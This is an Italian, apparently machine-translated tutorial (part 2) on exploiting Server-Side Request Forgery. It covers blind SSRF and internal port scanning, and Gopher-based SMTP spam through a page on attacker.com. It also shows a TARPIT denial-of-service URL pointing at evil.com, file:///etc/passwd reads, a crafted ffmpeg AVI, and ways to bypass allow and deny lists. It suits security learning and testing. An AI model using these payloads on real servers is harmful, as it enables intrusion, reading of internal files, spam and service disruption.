SSRF – Server Side Request Forgery (Tipi e modi per sfruttarlo) Parte 2

Abbiamo discusso SSRF di base nella parte -1, ora continueremo con Blind

ii. Cieco –

Non tutte le vulnerabilità SSRF restituiscono la risposta all’attaccante. Questo tipo di SSRF è noto come blind SSRF

Sfruttare l’SSRF cieco

DEMO (utilizzando Ruby)

Il codice precedente esegue un server sulla porta 4567 che, su richiesta, esegue le seguenti operazioni:
& gt; effettua una richiesta all’URL menzionato dall’utente
& gt; inviare la risposta “OK” all’utente anziché il contenuto (CANT SEE RESPONSE)

http: // localhost: 4567 /? url = https: //google.com richiederà google.com ma non mostra la risposta di Google all’attaccante

Per dimostrare i mpact con questo tipo di SSRF significa eseguire una scansione IP interna e PORT

Ecco un elenco di reti IPv4 private di cui potresti cercare servizi:

Possiamo determinare se la PORTA specificata è aperta / chiusa osservando lo stato della risposta e il tempo di risposta

Di seguito è riportata la tabella di esempio dello stato e del tempo della risposta

Invia messaggi di spam –

In alcuni casi se il server supporta Gopher lo usiamo per inviare messaggi di spam dall’IP del server

Per dimostrare useremo il server di test test.smtp.org.

Creiamo una pagina php dannosa :

http://attacker.com/ssrf/gopher.php

https://example.com/ssrf.php?url=http://attacker.com/ssrf/gopher.php

Questo codice concentra il nostro comando SMTP in una riga delimitata da% 0A e forza il server a inviare una richiesta “GOPHER” a un server SMTP mentre invia effettivamente una richiesta SMTP valida

Esecuzione di attacchi Denial of Service –

Un utente malintenzionato può utilizzare iptables TARPIT target per bloccare le richieste per un periodo di tempo prolungato e il protocollo FTP: // di CURL che non va mai in timeout.

Un utente malintenzionato può inviare tutto il traffico TCP alla porta 12345 a TARPIT e la richiesta

https://example.com/ssrf/url?url=ftp://evil.com:12345/TEST

2. Casi di test –

Luoghi in cui cercare SSRF

Punti finali che recuperano risorse esterne / interne –

Caso I-

http://example.com/index.php?page=about.php

http://example.com/index.php?page=https://google.com

http://example.com/index.php?page=file:///etc/passwd

Refer – Link

Caso -II

Prova a cambiare gli URL nella richiesta POST

Fare riferimento – # 411865, Link

Generatori di PDF –

Ci sono alcuni casi in cui il server converte il file caricato in un pdf

Prova a inserire & lt; iframe & gt ;, & lt; img & gt ;, & lt; base & gt; o & lt; script & gt; elementi o funzioni CSS url () che puntano a servizi interni.

Puoi leggere file interni usando questo

Refer – Link

Caricamenti di file –

Invece di caricare, prova a cambiare il tipo di input in URL e controlla se il server gli invia una richiesta

a

e passa l’URL

Ecco un esempio.

Conversione video

Esistono molte applicazioni che utilizzano la versione obsoleta di ffmpeg per convertire i video da un formato all’altro

C’è una vulnerabilità SSRF nota in questo

Clona il repository neex e genera un avi usando il comando seguente

./gen_xbin_avi.py file: // & lt; filename & gt; file_read.avi

e caricalo nel server vulnerabile e prova a convertirlo da avi a mp4

queste letture possono essere utilizzate per leggere file interni e scrivere nel video

Fare riferimento a – # 237381, # 226756

Conoscere le vulnerabilità SSRF in CMS, plugin, temi ..

Questo è limitato alla tua conoscenza della ricerca

3. Ignora whitelisting e blacklist –

Parliamo prima di whitelist e blacklist

<” whitelisting – Consentire URL specifici (host consentiti)

Diciamo che se un server autorizza google.com e tu puoi recuperare solo google.com utilizzando SSRF e il resto tutti gli altri domini vengono rifiutati

L’unico modo per aggirare la whitelist è trovare un reindirizzamento aperto nel dominio autorizzato. Vediamo un esempio

<” Custodia – 1

www.example.com ha inserito abc.com nella whitelist e hai trovato SSRF in example.com

http://example.com/ssrf.php?url=https://google.com – Impossibile recuperare perché non è autorizzato

http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com – Recupera con successo google.com

<” Custodia – 2

www.example.com ha inserito nella whitelist * .abc.com e hai trovato SSRF in example.com

http://example.com/ssrf.php?url=https://google.com – Impossibile recuperare perché non è autorizzato

Questo può essere aggirato se ottieni l’acquisizione di un sottodominio su * .abc.com

e utilizzalo per creare un iframe o reindirizzarlo al sito desiderato

http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com – Recupera con successo google.com

< blacklisting – Blocco di URL specifici (host non consentiti)

Allo stesso modo se un server inserisce nella blacklist google.com e quando chiedi al server di recuperare google.com si blocca

La lista nera può essere aggirata in molti modi

Conversione di IP in esadecimale –

esempio: conversione di http: //192.168.0.1 in esadecimale con punti – http: //c0.a8.00.01 e http: / esadecimale senza punti / 0xc0a80001

Conversione di IP in Decimale –

Utilizza qualsiasi convertitore online (Link)

Conversione di IP in Octal –

esempio: conversione di http: //192.168.0.1 in ottale doted http: //0300.0250.0000.0001 e punto meno http: // 030052000001

Fare riferimento – # 288250

Utilizzo di DNS jolly –

Ci sono molti siti online che forniscono DNS con caratteri jolly, alcuni di essi lo sono

Puoi semplicemente usarli per indirizzarlo a un IP specifico

Oppure puoi utilizzare il tuo dominio per farlo

Crea un sottodominio e punta a 192.168.0.1 con record DNS A

Fare riferimento a: – # 288193, # 288183

Utilizzo di caratteri alfanumerici racchiusi –

./Fine della parte -2